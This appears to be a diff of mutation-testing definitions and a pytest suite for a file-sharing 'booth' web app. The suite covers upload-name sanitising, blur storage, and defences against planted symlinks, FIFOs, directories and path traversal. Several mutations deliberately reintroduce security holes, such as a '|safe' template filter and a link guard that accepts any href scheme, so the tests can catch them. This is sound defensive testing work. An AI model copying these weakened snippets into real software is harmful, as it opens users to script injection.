href="#{{ g.anchor }}">{{ g.key }} <b>{{ g.n }}</b></a>'''
|
||||
new = '''
|
||||
href="#{{ g.anchor }}">{{ g.key|safe }} <b>{{ g.n }}</b></a>'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a flat all-digit stem yields the empty string instead of None"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_navigation.py::test_a_group_key_is_never_the_empty_string"
|
||||
old = '''
|
||||
return re.sub(r"\d+$", "", stem) or None'''
|
||||
new = '''
|
||||
return re.sub(r"\d+$", "", stem)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the template renders the group row whenever there is any group at all"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_navigation.py::test_no_group_rail_when_every_item_is_its_own_group"
|
||||
old = '''
|
||||
{% if rail.groups %}'''
|
||||
new = '''
|
||||
{% if rail.groups is not none %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the anchor is built from the raw name instead of the encoded url"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_a_group_anchor_survives_a_filename_that_percent_decodes"
|
||||
old = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
|
||||
new = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[0]['name']}"}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the anchor names the LAST member instead of the first"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_a_group_anchor_names_the_FIRST_member"
|
||||
old = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
|
||||
new = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[-1]['url']}"}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a group row over-reports its own size"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_a_group_row_reports_its_own_size"
|
||||
old = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
|
||||
new = '''
|
||||
{"key": k, "n": len(v) + 1, "anchor": f"item-{v[0]['url']}"}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the informativeness guard reads the LARGEST group, not the middle"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_the_informativeness_guard_reads_the_middle_not_the_largest"
|
||||
old = '''
|
||||
if len(sizes) < 2 or sizes[len(sizes) // 2] <= 1:'''
|
||||
new = '''
|
||||
if len(sizes) < 2 or sizes[-1] <= 1:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the rail is gated on the FILTERED list, removing the way back"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_navigation.py::test_a_filter_that_matches_nothing_leaves_a_way_back"
|
||||
old = '''
|
||||
{% elif all_items %}'''
|
||||
new = '''
|
||||
{% elif items %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the keyboard flag selector names a class nothing emits"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_navigation.py::test_the_keyboard_flag_targets_a_real_button"
|
||||
old = '''
|
||||
case 'f': click('.flagtoggle button');'''
|
||||
new = '''
|
||||
case 'f': click('.flagbtn, [name="target"]');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an unrepresentable filename is let through and 500s the booth"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_items.py::test_one_unrepresentable_filename_costs_its_own_tile_not_the_booth"
|
||||
old = '''
|
||||
try:
|
||||
quote(rel, safe="/")
|
||||
except UnicodeEncodeError:'''
|
||||
new = '''
|
||||
try:
|
||||
pass
|
||||
except UnicodeEncodeError:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the grid cursor starts at tile 0, so an arrow undoes a group jump"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_embed_browser.py::test_an_arrow_after_a_group_jump_does_not_scroll_back"
|
||||
old = '''
|
||||
case 'ArrowRight': focus(at < 0 ? fromViewport() : at + 1);'''
|
||||
new = '''
|
||||
case 'ArrowRight': focus(at + 1);'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the link board drops its href scheme guard"
|
||||
file = "booth/links.py"
|
||||
test = "tests/test_booth.py::test_the_link_board_refuses_to_render_a_script_href"
|
||||
old = '''
|
||||
return parts.scheme.lower() in ("http", "https")'''
|
||||
new = '''
|
||||
return True'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the board delete dialog takes the raw agent-written description"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_booth.py::test_the_board_delete_dialog_cannot_be_rewritten_by_a_link_row"
|
||||
old = '''
|
||||
var d = shown(btn.getAttribute('data-desc') || '');'''
|
||||
new = '''
|
||||
var d = btn.getAttribute('data-desc') || '';'''
|
||||
|
||||
[[mutation]]
|
||||
label = "booth blur OVERRIDES per-item instead of composing"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_booth.py::test_booth_blur_composes_with_per_item_and_never_overrides_it"
|
||||
old = '''
|
||||
blurred=rel in blurred or (booth_blur and kind in BLURRABLE_KINDS),'''
|
||||
new = '''
|
||||
blurred=(booth_blur and kind in BLURRABLE_KINDS),'''
|
||||
|
||||
|
||||
[[mutation]]
|
||||
label = "an unreadable booth-blur marker reveals instead of fogging"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_booth.py::test_an_unreadable_booth_blur_marker_fogs_rather_than_reveals"
|
||||
old = '''
|
||||
except OSError:
|
||||
return True # cannot tell -> fog it; see above'''
|
||||
new = '''
|
||||
except OSError:
|
||||
return False # cannot tell -> reveal it'''
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
# Upload filenames the filesystem cannot hold, and names whose kind a cut could
|
||||
# change. Two reached open() and raised, a 500 with the booth torn down (r3
|
||||
# heid bug hunt, hulda, 2026-09-24): a NUL, and a name over NAME_MAX (255
|
||||
# BYTES) that a 200-CHARACTER cap let through. The second round (hulda) found a
|
||||
# surrogate dropped after the dot rule (`.forever`, the keep marker) and a cut
|
||||
# that manufactured `.png`. Every row is a change tests/test_booth.py claims to
|
||||
# forbid.
|
||||
|
||||
unit = "upload names the filesystem can hold"
|
||||
|
||||
[[mutation]]
|
||||
label = "a NUL in an upload name reaches open() (ValueError, a 500)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_upload_a_nul_in_a_filename_never_500s"
|
||||
old = '''
|
||||
base = (name or "").replace("\x00", "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")'''
|
||||
new = '''
|
||||
base = (name or "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the NUL is stripped after the dot rule (a NUL shields a leading dot)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_safe_upload_name_drops_nul_before_the_dot_rule"
|
||||
old = '''
|
||||
base = (name or "").replace("\x00", "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")
|
||||
base = base.replace("\\", "/").split("/")[-1].strip()
|
||||
base = base.lstrip(".") # a leading dot would hide the file from every listing'''
|
||||
new = '''
|
||||
base = (name or "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")
|
||||
base = base.replace("\\", "/").split("/")[-1].strip()
|
||||
base = base.lstrip(".").replace("\x00", "") # a leading dot would hide the file from every listing'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a lone surrogate is dropped after the dot rule (`.forever`, the keep marker, comes out)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_safe_upload_name_drops_every_unencodable_character_before_the_dot_rule"
|
||||
old = '''
|
||||
base = (name or "").replace("\x00", "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")
|
||||
base = base.replace("\\", "/").split("/")[-1].strip()
|
||||
base = base.lstrip(".") # a leading dot would hide the file from every listing'''
|
||||
new = '''
|
||||
base = (name or "").replace("\x00", "")
|
||||
base = base.replace("\\", "/").split("/")[-1].strip()
|
||||
base = base.lstrip(".").encode("utf-8", "surrogatepass").decode("utf-8", "ignore") # a leading dot would hide the file from every listing'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the cap counts characters, not bytes (ENAMETOOLONG, a 500)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_upload_a_name_over_name_max_in_bytes_never_500s"
|
||||
old = '''
|
||||
cut = head.encode("utf-8")[:room].decode("utf-8", "ignore") + tail'''
|
||||
new = '''
|
||||
cut = head[:room] + tail'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the cut comes out of the whole name (a long .png stops being an image)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_safe_upload_name_keeps_the_extension_through_the_cut"
|
||||
old = '''
|
||||
head = stem if tail else base'''
|
||||
new = '''
|
||||
head, tail = base, ""'''
|
||||
|
||||
[[mutation]]
|
||||
label = "only a 4-byte extension survives the cut (`.jpeg` is lost)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_safe_upload_name_keeps_the_extension_through_the_cut"
|
||||
old = '''
|
||||
tail = dot + ext if stem and len((dot + ext).encode("utf-8")) <= 16 else ""'''
|
||||
new = '''
|
||||
tail = dot + ext if stem and len((dot + ext).encode("utf-8")) <= 4 else ""'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a cut may land on a shorter suffix and manufacture a kind (`….png` out of `….pngxxx…`)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_booth.py::test_safe_upload_name_never_manufactures_a_kind"
|
||||
old = '''
|
||||
if (classify(cut), doc_kind(cut)) != (classify(base), doc_kind(base)):
|
||||
cut = cut.replace(".", "_")'''
|
||||
new = '''
|
||||
'''
|
||||
@@ -0,0 +1,445 @@
|
||||
"""Per-item blur storage — `.blurred` round-trips any rel, whoever writes it.
|
||||
|
||||
`.blurred` was one stripped rel per line, so a rel with a leading space could
|
||||
not survive a write: blurring " a.png" stored "a.png", and toggled the
|
||||
neighbour instead (heid bug-hunt on r2b merge 1, reported to booth-dev). The set
|
||||
now lives in `.blurred.json`, a JSON array (the `.seen` shape), read without
|
||||
following a link or blocking on a FIFO. The legacy `.blurred` is still READ, as
|
||||
lines, while no `.blurred.json` exists; the first write retires it. Two names,
|
||||
so neither format is ever sniffed (heid bug-hunt on this change, 3 of 3 arms).
|
||||
|
||||
Two writers share the file: the service (the operator's per-item control) and
|
||||
`scripts/booth blur` (a session at post time). Both go through `booth.blur`,
|
||||
which is stdlib-only so the CLI can import it under the system python3.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import pathlib
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
|
||||
import pytest
|
||||
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
|
||||
from booth.app import BLUR_FILE, create_app, read_blurred, set_blurred # noqa: E402
|
||||
from booth.blur import BLUR_MAX_BYTES, LEGACY_BLUR_FILE, BlurUnwritable # noqa: E402
|
||||
from booth.items import booth_items # noqa: E402
|
||||
|
||||
PNG = b"\x89PNG\r\n\x1a\n"
|
||||
SCRIPT = pathlib.Path(__file__).parent.parent / "scripts" / "booth"
|
||||
|
||||
|
||||
def _booth(root: pathlib.Path, name: str, files: dict[str, bytes]) -> pathlib.Path:
|
||||
b = root / name
|
||||
b.mkdir()
|
||||
for rel, data in files.items():
|
||||
(b / rel).write_bytes(data)
|
||||
return b
|
||||
|
||||
|
||||
def _within(seconds: float, fn):
|
||||
"""Run fn in a thread and fail, rather than hang the suite, if it blocks."""
|
||||
out: dict = {}
|
||||
t = threading.Thread(target=lambda: out.setdefault("v", fn()), daemon=True)
|
||||
t.start()
|
||||
t.join(seconds)
|
||||
assert not t.is_alive(), f"{fn} blocked for over {seconds}s"
|
||||
return out["v"]
|
||||
|
||||
|
||||
# ---- the round-trip: the defect ---------------------------------------------
|
||||
|
||||
|
||||
def test_a_leading_space_rel_round_trips(tmp_path):
|
||||
"""Defeating change: storing rels line-stripped (the old format)."""
|
||||
set_blurred(tmp_path, " a.png", True)
|
||||
assert read_blurred(tmp_path) == {" a.png"}
|
||||
|
||||
|
||||
def test_unblurring_a_leading_space_rel_leaves_its_neighbour_blurred(tmp_path):
|
||||
"""The reported wrong-item write: " a.png" and "a.png" are two items, and
|
||||
toggling one must never move the other. (Unblurring the SPACED one would
|
||||
pass under the old format too — it was a no-op there — so this unblurs the
|
||||
plain one and asks whether the spaced one survived.)"""
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
set_blurred(tmp_path, " a.png", True)
|
||||
set_blurred(tmp_path, "a.png", False)
|
||||
assert read_blurred(tmp_path) == {" a.png"}
|
||||
|
||||
|
||||
def test_a_newline_in_a_rel_round_trips(tmp_path):
|
||||
"""A line format cannot hold one at all."""
|
||||
set_blurred(tmp_path, "two\nlines.png", True)
|
||||
assert read_blurred(tmp_path) == {"two\nlines.png"}
|
||||
|
||||
|
||||
def test_the_file_is_a_json_array_in_sorted_order(tmp_path):
|
||||
"""The `.seen` shape, and a stated order (invariant 6) so two writes of the
|
||||
same set are byte-identical."""
|
||||
set_blurred(tmp_path, "b.png", True)
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
assert json.loads((tmp_path / BLUR_FILE).read_text("utf-8")) == ["a.png", "b.png"]
|
||||
|
||||
|
||||
def test_emptying_the_set_removes_the_file(tmp_path):
|
||||
"""Unchanged: an empty marker is a lie by omission."""
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
set_blurred(tmp_path, "a.png", False)
|
||||
assert not (tmp_path / BLUR_FILE).exists()
|
||||
|
||||
|
||||
# ---- the legacy format: nothing live changes until it is written ------------
|
||||
|
||||
|
||||
def test_the_legacy_line_format_still_reads(tmp_path):
|
||||
"""Six live booths hold line-format files. Defeating change: a JSON-only
|
||||
reader, which would un-blur every one of them on deploy."""
|
||||
(tmp_path / LEGACY_BLUR_FILE).write_text("a.png\nsub/b.png\n\n")
|
||||
assert read_blurred(tmp_path) == {"a.png", "sub/b.png"}
|
||||
|
||||
|
||||
def test_a_legacy_rel_that_starts_with_a_bracket_still_reads(tmp_path):
|
||||
"""A line-format file whose first rel happens to begin with "[" is not
|
||||
JSON, and must fall back to lines rather than read as nothing."""
|
||||
(tmp_path / LEGACY_BLUR_FILE).write_text("[draft] a.png\nb.png\n")
|
||||
assert read_blurred(tmp_path) == {"[draft] a.png", "b.png"}
|
||||
|
||||
|
||||
def test_a_write_upgrades_a_legacy_file_and_keeps_its_rels(tmp_path):
|
||||
"""And retires the legacy file, so it can never speak again."""
|
||||
(tmp_path / LEGACY_BLUR_FILE).write_text("a.png\n")
|
||||
set_blurred(tmp_path, "b.png", True)
|
||||
assert json.loads((tmp_path / BLUR_FILE).read_text("utf-8")) == ["a.png", "b.png"]
|
||||
assert not (tmp_path / LEGACY_BLUR_FILE).exists()
|
||||
|
||||
|
||||
# ---- a planted file: never blocks, never follows ----------------------------
|
||||
|
||||
|
||||
def test_a_fifo_blur_file_does_not_block_the_read(tmp_path):
|
||||
"""read_blurred runs for every booth the Desk renders; a FIFO with no writer
|
||||
used to hang it — the outage class `.seen` was built against."""
|
||||
os.mkfifo(tmp_path / BLUR_FILE)
|
||||
assert _within(5, lambda: read_blurred(tmp_path)) == set()
|
||||
|
||||
|
||||
def test_a_symlinked_blur_file_is_not_followed_on_read(tmp_path):
|
||||
outside = tmp_path / "outside.json"
|
||||
outside.write_text('["a.png"]')
|
||||
b = tmp_path / "b"
|
||||
b.mkdir()
|
||||
(b / BLUR_FILE).symlink_to(outside)
|
||||
assert read_blurred(b) == set()
|
||||
|
||||
|
||||
def test_a_write_replaces_a_planted_symlink_rather_than_writing_through_it(tmp_path):
|
||||
outside = tmp_path / "outside.txt"
|
||||
outside.write_text("untouched")
|
||||
b = tmp_path / "b"
|
||||
b.mkdir()
|
||||
(b / BLUR_FILE).symlink_to(outside)
|
||||
set_blurred(b, "a.png", True)
|
||||
assert outside.read_text() == "untouched"
|
||||
assert not (b / BLUR_FILE).is_symlink()
|
||||
assert read_blurred(b) == {"a.png"}
|
||||
|
||||
|
||||
def test_malformed_json_array_contents_are_skipped_not_fatal(tmp_path):
|
||||
(tmp_path / BLUR_FILE).write_text('["a.png", 3, null, ["x"]]')
|
||||
assert read_blurred(tmp_path) == {"a.png"}
|
||||
|
||||
|
||||
# ---- the route: the operator's per-item control -----------------------------
|
||||
|
||||
|
||||
def test_the_blur_route_blurs_exactly_the_item_it_names(tmp_path):
|
||||
"""The route stripped `f` before writing, so the form for " a.png" blurred
|
||||
"a.png". Defeating change: `f.strip()` back in the route."""
|
||||
b = _booth(tmp_path, "g", {" a.png": PNG, "a.png": PNG})
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
r = c.post("/b/g/blur", data={"f": " a.png", "on": "1"}, follow_redirects=False)
|
||||
assert r.status_code == 303
|
||||
blurred = {it.rel: it.blurred for it in booth_items(b)}
|
||||
assert blurred == {" a.png": True, "a.png": False}
|
||||
|
||||
|
||||
# ---- the CLI: the other writer ----------------------------------------------
|
||||
|
||||
|
||||
def _cli(data: pathlib.Path, *args: str) -> subprocess.CompletedProcess:
|
||||
env = {**os.environ, "BOOTH_DATA_DIR": str(data), "BOOTH_URL": "http://booth.invalid"}
|
||||
return subprocess.run([str(SCRIPT), *args], capture_output=True, text=True, env=env, timeout=30)
|
||||
|
||||
|
||||
def test_the_cli_writes_the_format_the_service_reads(tmp_path):
|
||||
"""Both writers, one format. Defeating change: the CLI keeping its own
|
||||
grep/printf line writer, which appends a line to a JSON array."""
|
||||
b = _booth(tmp_path, "g", {" a.png": PNG, "a.png": PNG})
|
||||
set_blurred(b, "a.png", True) # the service wrote first
|
||||
r = _cli(tmp_path, "blur", "g", " a.png")
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert read_blurred(b) == {"a.png", " a.png"}
|
||||
r = _cli(tmp_path, "unblur", "g", " a.png")
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert read_blurred(b) == {"a.png"}
|
||||
|
||||
|
||||
def test_the_cli_unblurring_the_last_item_removes_the_file(tmp_path):
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG})
|
||||
assert _cli(tmp_path, "blur", "g", "a.png").returncode == 0
|
||||
assert _cli(tmp_path, "unblur", "g", "a.png").returncode == 0
|
||||
assert not (b / BLUR_FILE).exists()
|
||||
|
||||
|
||||
def test_the_cli_still_refuses_a_dotdot_path(tmp_path):
|
||||
_booth(tmp_path, "g", {"a.png": PNG})
|
||||
r = _cli(tmp_path, "blur", "g", "../escape.png")
|
||||
assert r.returncode == 2
|
||||
assert not (tmp_path / "g" / BLUR_FILE).exists()
|
||||
|
||||
|
||||
# ---- one read of blur state per render (invariant 3) ------------------------
|
||||
|
||||
|
||||
def test_the_item_record_carries_its_own_blur_apart_from_the_booths(tmp_path):
|
||||
"""r2b's per-item control needs the item's OWN blur as well as the composed
|
||||
one. It came from a second `read_blurred` in build_gallery — a second reader
|
||||
of one file, which a write between the two could split. It is now resolved
|
||||
in `booth_items`, from the one read the composed fact already uses."""
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG, "b.png": PNG})
|
||||
set_blurred(b, "a.png", True)
|
||||
(b / ".blurbooth").write_bytes(b"")
|
||||
got = {it.rel: (it.blurred, it.blurred_self) for it in booth_items(b)}
|
||||
assert got == {"a.png": (True, True), "b.png": (True, False)}
|
||||
|
||||
|
||||
def test_app_py_never_reads_the_blur_file_itself():
|
||||
"""Invariant 3, extended from route bodies to the whole module: blur state
|
||||
is read in `booth_items` and nowhere in app.py. Defeating change: the
|
||||
second `read_blurred` in build_gallery."""
|
||||
import ast
|
||||
src = pathlib.Path(__file__).parent.parent / "booth" / "app.py"
|
||||
calls = [
|
||||
n for n in ast.walk(ast.parse(src.read_text()))
|
||||
if isinstance(n, ast.Call) and getattr(n.func, "id", getattr(n.func, "attr", None)) == "read_blurred"
|
||||
]
|
||||
assert calls == []
|
||||
|
||||
|
||||
# ---- the heid bug-hunt on this change (3 arms), folded -------------------------
|
||||
|
||||
|
||||
@pytest.mark.parametrize("line", ['["a.png"]', "[]", "[1,2]"])
|
||||
def test_a_legacy_line_that_is_valid_json_still_reads_as_a_line(tmp_path, line):
|
||||
"""3 of 3 arms. Sniffing one file for two formats misread a legacy file
|
||||
whose ONE line is an item literally named like a JSON array: `["a.png"]`
|
||||
read as {"a.png"}, un-blurring the item and blurring its neighbour — the bug
|
||||
this change exists to fix, recreated by its migration. Defeating change:
|
||||
trying JSON on the legacy file."""
|
||||
(tmp_path / LEGACY_BLUR_FILE).write_text(line + "\n")
|
||||
assert read_blurred(tmp_path) == {line}
|
||||
|
||||
|
||||
def test_a_stale_legacy_file_is_silent_once_the_current_one_exists(tmp_path):
|
||||
(tmp_path / LEGACY_BLUR_FILE).write_text("old.png\n")
|
||||
(tmp_path / BLUR_FILE).write_text('["new.png"]')
|
||||
assert read_blurred(tmp_path) == {"new.png"}
|
||||
|
||||
|
||||
def test_a_planted_directory_at_the_blur_file_is_a_refusal_not_a_crash(tmp_path):
|
||||
"""2 of 3 arms plus a third from another angle: the reader was hardened
|
||||
against a planted directory, the writer was not, and `os.replace` onto a
|
||||
directory raised IsADirectoryError through the route. Defeating change:
|
||||
letting the OSError out of set_blurred."""
|
||||
(tmp_path / BLUR_FILE).mkdir()
|
||||
with pytest.raises(BlurUnwritable):
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
assert (tmp_path / BLUR_FILE).is_dir(), "a planted directory is not ours to remove"
|
||||
|
||||
|
||||
def test_unblurring_under_a_planted_directory_is_not_an_error(tmp_path):
|
||||
"""Nothing reads as blurred and nothing was asked to be: the reader agrees
|
||||
with the request, so there is nothing to refuse. A directory holds no set,
|
||||
so strict writes (below) have nothing to protect here."""
|
||||
(tmp_path / BLUR_FILE).mkdir()
|
||||
assert set_blurred(tmp_path, "a.png", False) == set()
|
||||
|
||||
|
||||
def test_a_planted_directory_at_the_legacy_name_does_not_block_a_write(tmp_path):
|
||||
(tmp_path / LEGACY_BLUR_FILE).mkdir()
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
assert read_blurred(tmp_path) == {"a.png"}
|
||||
|
||||
|
||||
def test_the_route_answers_a_planted_directory_with_409(tmp_path):
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG})
|
||||
(b / BLUR_FILE).mkdir()
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
r = c.post("/b/g/blur", data={"f": "a.png", "on": "1"}, follow_redirects=False)
|
||||
assert r.status_code == 409
|
||||
|
||||
|
||||
def test_a_lone_surrogate_in_the_file_is_skipped_and_writes_still_work(tmp_path):
|
||||
"""hulda, execution-verified: `"\\ud800"` is a valid JSON string no filename
|
||||
can produce, and the writer's UTF-8 encode raised on it, so one planted
|
||||
escape froze the booth's blur. Defeating change: keeping every str member."""
|
||||
(tmp_path / BLUR_FILE).write_text('["\\ud800", "a.png"]')
|
||||
assert read_blurred(tmp_path) == {"a.png"}
|
||||
assert set_blurred(tmp_path, "b.png", True) == {"a.png", "b.png"}
|
||||
|
||||
|
||||
@pytest.mark.parametrize("rel", ["", "/abs.png", "a/../b.png", "..", "\ud800.png"])
|
||||
def test_a_rel_that_is_not_an_item_path_is_refused(tmp_path, rel):
|
||||
with pytest.raises(ValueError):
|
||||
set_blurred(tmp_path, rel, True)
|
||||
assert not (tmp_path / BLUR_FILE).exists()
|
||||
|
||||
|
||||
def test_a_double_dot_inside_a_name_is_an_item_path(tmp_path):
|
||||
"""A `..` COMPONENT is an escape; `a..b.png` is a filename."""
|
||||
assert set_blurred(tmp_path, "a..b.png", True) == {"a..b.png"}
|
||||
|
||||
|
||||
def test_the_route_refuses_an_empty_rel(tmp_path):
|
||||
"""kimi: `f="/"` stripped to "" and was stored as a member no item can have."""
|
||||
_booth(tmp_path, "g", {"a.png": PNG})
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
r = c.post("/b/g/blur", data={"f": "/", "on": "1"}, follow_redirects=False)
|
||||
assert r.status_code == 400
|
||||
assert not (tmp_path / "g" / BLUR_FILE).exists()
|
||||
|
||||
|
||||
def test_the_writer_never_writes_a_set_the_reader_would_refuse(tmp_path, monkeypatch):
|
||||
"""2 of 3 arms: nothing capped the writer, the reader refuses a file over
|
||||
the cap and reads it as EMPTY, so the write that crossed it revealed every
|
||||
item. Defeating change: no size check before the write."""
|
||||
import booth.blur as blur
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
monkeypatch.setattr(blur, "BLUR_MAX_BYTES", len(b'["a.png"]') + 3)
|
||||
with pytest.raises(BlurUnwritable):
|
||||
set_blurred(tmp_path, "bbbbbbbb.png", True)
|
||||
monkeypatch.setattr(blur, "BLUR_MAX_BYTES", BLUR_MAX_BYTES)
|
||||
assert read_blurred(tmp_path) == {"a.png"}, "a refused write changed the set"
|
||||
|
||||
|
||||
def test_the_cli_accepts_a_double_dot_inside_a_name(tmp_path):
|
||||
"""2 of 3 arms: the CLI's `*..*` substring guard refused `a..b.png`, which
|
||||
the route accepts. One predicate now serves both."""
|
||||
b = _booth(tmp_path, "g", {"a..b.png": PNG})
|
||||
r = _cli(tmp_path, "blur", "g", "a..b.png")
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert read_blurred(b) == {"a..b.png"}
|
||||
|
||||
|
||||
def test_the_cli_refuses_an_empty_item_path_before_writing(tmp_path):
|
||||
"""regin: `booth blur g /` stored an empty member. Refused, and a valid
|
||||
item named alongside it is not written either."""
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG})
|
||||
r = _cli(tmp_path, "blur", "g", "a.png", "/")
|
||||
assert r.returncode == 2
|
||||
assert read_blurred(b) == set()
|
||||
|
||||
|
||||
def test_the_cli_refuses_a_planted_directory_with_a_message(tmp_path):
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG})
|
||||
(b / BLUR_FILE).mkdir()
|
||||
r = _cli(tmp_path, "blur", "g", "a.png")
|
||||
assert r.returncode == 3
|
||||
assert "Traceback" not in r.stderr and BLUR_FILE in r.stderr
|
||||
|
||||
|
||||
def test_the_cli_fails_closed_without_its_package(tmp_path):
|
||||
"""kimi: the `link` verb says why and exits 3 when booth/ is missing; the
|
||||
`blur` verb died with a bare traceback. Same deployment shape as
|
||||
test_cli's link test: the script alone, no package beside it."""
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG})
|
||||
lone = tmp_path / "lone" / "scripts"
|
||||
lone.mkdir(parents=True)
|
||||
(lone / "booth").write_text(SCRIPT.read_text())
|
||||
(lone / "booth").chmod(0o755)
|
||||
env = {k: v for k, v in os.environ.items() if k != "PYTHONPATH"}
|
||||
env.update(BOOTH_DATA_DIR=str(tmp_path), BOOTH_URL="http://booth.invalid")
|
||||
r = subprocess.run([str(lone / "booth"), "blur", "g", "a.png"], capture_output=True,
|
||||
text=True, env=env, cwd="/tmp", timeout=30)
|
||||
assert r.returncode == 3
|
||||
assert "Traceback" not in r.stderr
|
||||
assert read_blurred(b) == set()
|
||||
|
||||
|
||||
def test_a_fifo_at_the_legacy_name_does_not_block_the_read(tmp_path):
|
||||
os.mkfifo(tmp_path / LEGACY_BLUR_FILE)
|
||||
assert _within(5, lambda: read_blurred(tmp_path)) == set()
|
||||
|
||||
|
||||
# ---- reads lenient, writes strict (groa's retry, and marks' lesson) ------------
|
||||
#
|
||||
# The reader turns anything it cannot read into an EMPTY set, which is right for
|
||||
# rendering: a damaged file costs the blur, never the page. A writer that builds
|
||||
# on that empty set then replaces the file, and whatever it could not read is
|
||||
# gone. That is the `.marks.json` wipe of 2026-09-21
|
||||
# (persistent-memory.d/2026-09-21-marks-write-wiped-judgment.md), and a
|
||||
# cross-uid reader that got EACCES would do it here (groa).
|
||||
|
||||
|
||||
def test_an_unreadable_blur_file_is_never_overwritten(tmp_path):
|
||||
"""Defeating change: set_blurred building on the lenient reader."""
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
before = (tmp_path / BLUR_FILE).read_bytes()
|
||||
os.chmod(tmp_path / BLUR_FILE, 0)
|
||||
try:
|
||||
with pytest.raises(BlurUnwritable):
|
||||
set_blurred(tmp_path, "b.png", True)
|
||||
finally:
|
||||
os.chmod(tmp_path / BLUR_FILE, 0o644)
|
||||
assert (tmp_path / BLUR_FILE).read_bytes() == before
|
||||
|
||||
|
||||
def test_a_malformed_blur_file_is_never_overwritten(tmp_path):
|
||||
(tmp_path / BLUR_FILE).write_text("not json at all")
|
||||
with pytest.raises(BlurUnwritable):
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
assert (tmp_path / BLUR_FILE).read_text() == "not json at all"
|
||||
|
||||
|
||||
def test_an_oversized_blur_file_is_never_overwritten(tmp_path, monkeypatch):
|
||||
import booth.blur as blur
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
before = (tmp_path / BLUR_FILE).read_bytes()
|
||||
monkeypatch.setattr(blur, "BLUR_MAX_BYTES", 4)
|
||||
with pytest.raises(BlurUnwritable):
|
||||
set_blurred(tmp_path, "b.png", False)
|
||||
assert (tmp_path / BLUR_FILE).read_bytes() == before
|
||||
|
||||
|
||||
def test_the_blur_file_is_world_readable_as_it_always_was(tmp_path):
|
||||
"""groa: mkstemp creates 0600, where the line-format writer left 0644, so a
|
||||
reader under another uid saw nothing. Defeating change: no chmod."""
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
assert (tmp_path / BLUR_FILE).stat().st_mode & 0o777 == 0o644
|
||||
|
||||
|
||||
# The open flags are the SECOND layer: `_load` lstat-checks for a regular file
|
||||
# first, so a FIFO or a link never reaches `os.open` through the public API, and
|
||||
# a mutation run found the flags VACUOUS there. They still close the race (a
|
